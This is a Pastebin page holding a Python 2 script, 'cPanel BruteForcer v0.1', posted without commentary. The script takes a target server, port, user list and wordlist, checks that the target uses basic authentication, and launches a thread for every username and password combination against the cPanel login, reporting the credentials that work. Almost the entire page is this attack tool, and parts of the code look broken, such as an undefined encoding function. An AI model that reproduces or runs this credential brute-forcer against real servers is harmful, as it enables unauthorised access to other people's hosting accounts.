rocklinux

cnel

Jan 11th, 2013
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.23 KB | None | 0 0
  1. #!usr/bin/python
  2. #cPanel BruteForcer
  3.  
  4. import threading, time, random, sys, urllib2, httplib, base64
  5. from copy import copy
  6.  
  7. def title():
  8. print "\n\t cPanel BruteForcer v0.1"
  9. print "\t-----------------------------------------------------\n"
  10.  
  11. def timer():
  12. now = time.localtime(time.time())
  13. return time.asctime(now)
  14.  
  15. if len(sys.argv) !=5:
  16. title()
  17. print "\nUsage: ./cPanelbrute.py <server> <port> <userlist> <wordlist>\n"
  18. print "ex: python cPanelbrute.py example.com 2082 users.txt wordlist.txt\n"
  19. sys.exit(1)
  20.  
  21. try:
  22. users = open(sys.argv[3], "r").readlines()
  23. except(IOError):
  24. print "Error: Check your userlist path\n"
  25. sys.exit(1)
  26.  
  27. try:
  28. words = open(sys.argv[4], "r").readlines()
  29. except(IOError):
  30. print "Error: Check your wordlist path\n"
  31. sys.exit(1)
  32.  
  33. wordlist = copy(words)
  34.  
  35. def reloader():
  36. for word in wordlist:
  37. words.append(word)
  38.  
  39. def getword():
  40. lock = threading.Lock()
  41. lock.acquire()
  42. if len(words) != 0:
  43. value = random.sample(words, 1)
  44. words.remove(value[0])
  45. else:
  46. print "\nReloading Wordlist - Changing User\n"
  47. reloader()
  48. value = random.sample(words, 1)
  49. users.remove(users[0])
  50.  
  51. lock.release()
  52. if len(users) ==1:
  53. return users[0], value[0][:-1]
  54. else:
  55. return users[0][:-1], value[0][:-1]
  56.  
  57. def getauth(url):
  58.  
  59. req = urllib2.Request(url)
  60. try:
  61. handle = urllib2.urlopen(req)
  62. except IOError, e:
  63. pass
  64. else:
  65. print "This page isn't protected by basic authentication.\n"
  66. sys.exit(1)
  67.  
  68. if not hasattr(e, 'code') or e.code != 401:
  69. print "\nThis page isn't protected by basic authentication."
  70. print 'But we failed for another reason.\n'
  71. sys.exit(1)
  72.  
  73. authline = e.headers.get('www-authenticate', '')
  74.  
  75. if not authline:
  76. print '\nA 401 error without a basic authentication response header - very weird.\n'
  77. sys.exit(1)
  78. else:
  79. return authline
  80.  
  81. class Worker(threading.Thread):
  82.  
  83. def run(self):
  84. username, password = getword()
  85. try:
  86. print "-"*12
  87. print "User:",username,"Password:",password
  88. auth_handler = urllib2.HTTPBasicAuthHandler()
  89. auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
  90. opener = urllib2.build_opener(auth_handler)
  91. urllib2.install_opener(opener)
  92. urllib2.urlopen(server)
  93. print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"
  94. except (urllib2.HTTPError, httplib.BadStatusLine), msg:
  95. #print "An error occurred:", msg
  96. pass
  97.  
  98. title()
  99. if sys.argv[1][-1] == "/":
  100. sys.argv[1] = sys.argv[1][:-1]
  101. server = sys.argv[1]+":2082"
  102. if sys.argv[2].isdigit() == False:
  103. print "[-] Port must be a number\n"
  104. sys.exit(1)
  105. else:
  106. port = sys.argv[2]
  107. if sys.argv[1][-1] == "/":
  108. sys.argv[1] = sys.argv[1][:-1]
  109. server = sys.argv[1]+":"+port
  110.  
  111. print "[+] Server:",server
  112. print "[+] Port:",port
  113. print "[+] Users Loaded:",len(users)
  114. print "[+] Words Loaded:",len(words)
  115. print "[+]",getauth(server)
  116. print "[+] Started",timer(),"\n"
  117.  
  118. for i in range(len(words)*len(users)):
  119. work = Worker()
  120. work.setDaemon(1)
  121. work.start()
  122. time.sleep(1)
  123. print "\n[-] Done -",timer(),"\n"
Advertisement
Add Comment
Please, Sign In to add comment